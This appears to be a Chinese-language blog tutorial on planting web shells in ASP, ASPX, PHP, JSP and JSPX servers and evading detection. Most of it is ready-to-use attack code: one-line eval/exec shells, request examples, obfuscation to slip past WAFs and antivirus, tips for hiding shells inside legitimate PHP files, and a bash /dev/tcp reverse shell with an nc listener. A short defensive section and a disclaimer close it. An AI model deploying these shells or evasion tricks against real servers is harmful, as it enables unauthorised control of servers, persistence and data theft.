WebShell 快速植入与绕过:ASP/ASPX/PHP/JSP/JSPX

WebShell 快速植入与绕过:ASP/ASPX/PHP/JSP/JSPX 详解

一、前言

WebShell 是一种通过 Web 接口执行服务器命令的恶意脚本,常用于渗透测试或攻击中,以获取服务器控制权。它以简单、隐蔽和高危著称,常配合工具如蚁剑冰蝎使用。本文详细讲解 ASP、ASPX、PHP、JSP 和 JSPX 五种常见 WebShell 的编写、植入、利用方式及绕过技巧,旨在帮助安全从业者掌握 WebShell 的原理和使用方法,同时提供防护建议。

免责声明:本文内容仅限合法授权的渗透测试和安全研究,严禁用于非法攻击!

学习目标

  • 掌握不同语言(ASP/ASPX/PHP/JSP/JSPX)WebShell 的编写与使用
  • 学会配合蚁剑、冰蝎等工具提升利用效率
  • 理解 WebShell 绕过检测的技巧
  • 了解防御 WebShell 的最佳实践

二、WebShell 概述

1. 什么是 WebShell?

WebShell 是一种部署在 Web 服务器上的脚本文件,通过 HTTP 请求(如 GET、POST)接收用户输入的命令并在服务器执行,通常用于:

  • 执行系统命令(如 whoaminet user
  • 文件管理(上传、下载、修改)
  • 反弹 Shell 或持久化控制

2. 危害

  • 权限提升:获取服务器高权限(如 SYSTEM/root)
  • 数据泄露:窃取配置文件、数据库等
  • 持久控制:植入后门,长期潜伏
  • 系统破坏:删除关键文件或执行恶意操作

3. 配合工具

  • 蚁剑(AntSword):开源 WebShell 管理工具,支持多语言,界面友好。
  • 冰蝎(Behinder):加密传输,隐蔽性强,适合高级渗透。
  • 菜刀:经典工具,适合简单场景。

三、WebShell 编写与利用

以下详细介绍 ASP、ASPX、PHP、JSP 和 JSPX 的 WebShell 示例,包括语法、调用方式、回显特性及注意事项。

1. ASP WebShell

示例代码

编号 示例代码 说明
<% eval(request("2")) %> 经典 eval 执行用户输入
<% execute request("3") %> 执行传入参数命令
<% execute(request("4")) %> 等价于②,参数名不同
<% executeglobal request("5") %> 全局执行脚本
<% executeglobal(request("6")) %> 同④,参数名不同

调用方式

  • 保存为 shell.asp,上传至目标服务器。
  • 请求示例:
1
http://target.com/shell.asp?3=Response.Write(Server.MapPath("."))
  • 参数3 为命令参数,支持任意 ASP 代码。

特点

  • 回显:无(需工具配合,如蚁剑)
  • 优缺点
    • 简单易用,但 evalexecute 易被 WAF 检测。
    • 适合快速测试,需混淆以提高隐蔽性。

绕过建议

  • 使用 Base64 编码参数:
    1
    <% execute(Base64Decode(request("cmd"))) %>
  • 分割关键词:
    1
    <% ex="exec"; ex&"ute" request("cmd") %>

2. ASPX WebShell

示例代码

1
2
<%@ Page Language="C#" %>
<% eval(Request["1"], "unsafe"); %>

调用方式

  • 保存为 shell.aspx,上传至目标服务器。
  • 请求示例:
    1
    http://target.com/shell.aspx?1=Response.Write(System.IO.Directory.GetCurrentDirectory())
  • 参数1 为 C# 代码,运行在 unsafe 模式。

特点

  • 回显:无(需工具配合)
  • 优缺点
    • 支持 C# 强大功能,但需服务器启用 unsafe 模式。
    • 隐蔽性较 ASP 稍高,但仍需混淆。

绕过建议

  • 使用复杂参数名:
    1
    <% eval(Request[HttpUtility.UrlDecode("x")], "unsafe"); %>
  • 结合加密传输(如 Base64 或 AES)。

3. PHP WebShell

示例代码

编号 示例代码 说明
<?php eval($_REQUEST['1']); ?> 支持 GET/POST/Cookie 参数
<?php eval($_GET['2']); ?> 指定 GET 参数
<?php eval($_POST['3']); ?> 指定 POST 参数
<?php assert($_REQUEST['4']); ?> 使用 assert 执行表达式
<?php assert($_GET['5']); ?> GET 参数下的 assert
<?php assert($_POST['6']); ?> POST 参数下的 assert

调用方式

  • 保存为 shell.php,上传至目标服务器。
  • 请求示例(使用 curl):
    1
    curl http://target.com/shell.php -d "3=system('whoami');"
  • 参数3 为 PHP 代码或命令。

特点

  • 回显:有(直接输出命令结果)
  • 优缺点
    • 最通用,兼容性强,适合蚁剑/冰蝎。
    • evalassert 易被检测,需混淆。

绕过建议

  • 使用 base64_decode 混淆:
    1
    <?php eval(base64_decode($_POST['cmd'])); ?>
  • 动态函数调用:
    1
    <?php $f = 'sys'.'tem'; $f($_POST['cmd']); ?>

4. JSP WebShell

示例代码

1
2
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="utf-8"%>
<% Runtime.getRuntime().exec(request.getParameter("i")); %>

调用方式

  • 保存为 shell.jsp,上传至目标服务器。
  • 请求示例:
    1
    http://target.com/shell.jsp?i=whoami
  • 参数i 为系统命令。

特点

  • 回显:无(需配合反弹 Shell)
  • 优缺点
    • 简单直接,执行系统命令。
    • 无回显,需工具或反弹 Shell。

绕过建议

  • 使用 Base64 编码参数:
    1
    <% Runtime.getRuntime().exec(new String(Base64.getDecoder().decode(request.getParameter("i")))); %>
  • 反弹 Shell:
    1
    bash -i >& /dev/tcp/<你的IP>/4444 0>&1

5. JSPX WebShell

示例代码

1
2
3
4
5
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="2.0">
<jsp:scriptlet>
Runtime.getRuntime().exec(request.getParameter("i"));
</jsp:scriptlet>
</jsp:root>

调用方式

  • 保存为 shell.jspx,上传至目标服务器。
  • 请求示例:
    1
    http://target.com/shell.jspx?i=whoami
  • 参数i 为系统命令。

特点

  • 回显:无(需配合反弹 Shell)
  • 优缺点
    • XML 格式,兼容 JSP 环境。
    • 需正确闭合标签,避免解析错误。

绕过建议

  • 与 JSP 类似,使用 Base64 或加密参数。
  • 确保 JSPX 格式符合 XML 标准。

6. 蚁剑专用 WebShell

  • 推荐项目:JSP 专用蚁剑马(GitHub: JspForAntSword)
  • 特点
    • 兼容蚁剑管理界面
    • 隐蔽性强,支持部分回显
    • 提供文件管理、命令执行等功能
  • 使用方法
    • 下载项目中的 JSP WebShell。
    • 上传至目标服务器,配置蚁剑:
      • URLhttp://target.com/shell.jsp
      • 密码:自定义(如 cmd
      • 类型:JSP
      • 编码:默认或 Base64

四、WebShell 绕过技巧

1. 混淆与加密

  • Base64 编码
    1
    <?php eval(base64_decode($_POST['cmd'])); ?>
    客户端发送 Base64 编码的命令:
    1
    curl http://target.com/shell.php -d "cmd=c3lzdGVtKCd3aG9hbWknKTs="
  • 分割关键词
    1
    <?php $f = 'ev'.'al'; $f($_POST['cmd']); ?>
  • 自定义函数
    1
    <?php function x($c) { eval($c); } x($_POST['cmd']); ?>

2. 反弹 Shell

  • 在 Kali 上启动监听:
    1
    nc -lvnp 4444
  • WebShell 执行反弹命令:
    1
    bash -i >& /dev/tcp/<你的IP>/4444 0>&1
  • 适用于无回显场景(如 JSP/JSPX)。

3. 配合工具

  • 蚁剑
    • 配置 WebShell URL 和密码,自动处理命令执行和文件管理。
    • 支持加密传输(如 Base64、AES)。
  • 冰蝎
    • 使用加密 WebShell(如 PHP 冰蝎马)。
    • 提供高隐蔽性,绕过 WAF 和杀软。

4. 文件名伪装

  • 使用非典型文件名:info.phpconfig.php 等。
  • 嵌入正常页面:将 WebShell 代码隐藏在合法 PHP 文件中。

五、防护建议

  1. 文件上传校验

    • 严格验证上传文件的类型和内容。
    • 使用白名单限制文件扩展名(如只允许 .jpg.png)。
    • 对上传文件进行重命名,避免直接执行。
  2. 禁用危险函数

    • php.ini 中禁用高危函数:
      1
      disable_functions = eval,assert,exec,system,passthru,shell_exec,proc_open
    • ASP/ASPX 限制 evalexecute 使用。
  3. 权限控制

    • 配置 Web 服务器以最低权限运行(如非 root/SYSTEM)。
    • 限制脚本对文件系统和命令的访问。
  4. WAF 部署

    • 配置 Web 应用防火墙,检测 evalsystem 等关键词。
    • 拦截异常参数(如 Base64 编码的命令)。
  5. 日志监控

    • 监控 Web 服务器日志,关注异常请求(如 ?cmd=)。
    • 定期扫描服务器,检测可疑文件。
  6. 定期审计

    • 检查 Web 目录,删除未知脚本文件。
    • 更新系统和框架,修复已知漏洞。

六、总结表格

类型 推荐语法 回显 备注
ASP <% execute request("cmd") %> 经典语法,易被查杀
ASPX eval(Request["1"], "unsafe") 需开启 unsafe 模式
PHP eval($_REQUEST['1']) 最实用,需权限,建议混淆
JSP Runtime.getRuntime().exec(...) 默认无回显,配合反弹 Shell
JSPX <jsp:scriptlet>exec(...)</jsp:scriptlet> JSPX 需正确 XML 格式

七、总结

WebShell 是渗透测试中的利器,ASP、ASPX、PHP、JSP 和 JSPX 各有特点,PHP WebShell 因其回显和兼容性最为常用。配合蚁剑、冰蝎等工具,可实现命令执行、文件管理甚至反弹 Shell。实际利用中,需通过混淆、加密和伪装绕过 WAF 和杀软检测。开发者应加强文件上传校验、禁用危险函数、部署 WAF 和监控日志,防范 WebShell 攻击。

免责声明:本文内容仅供合法授权的渗透测试和安全研究,严禁用于非法用途!


WebShell 快速植入与绕过:ASP/ASPX/PHP/JSP/JSPX
https://bae-ace.github.io/2025/08/04/WebShell-快速植入与绕过:ASP-ASPX-PHP-JSP-JSPX/
作者
bae
发布于
2025年8月4日
许可协议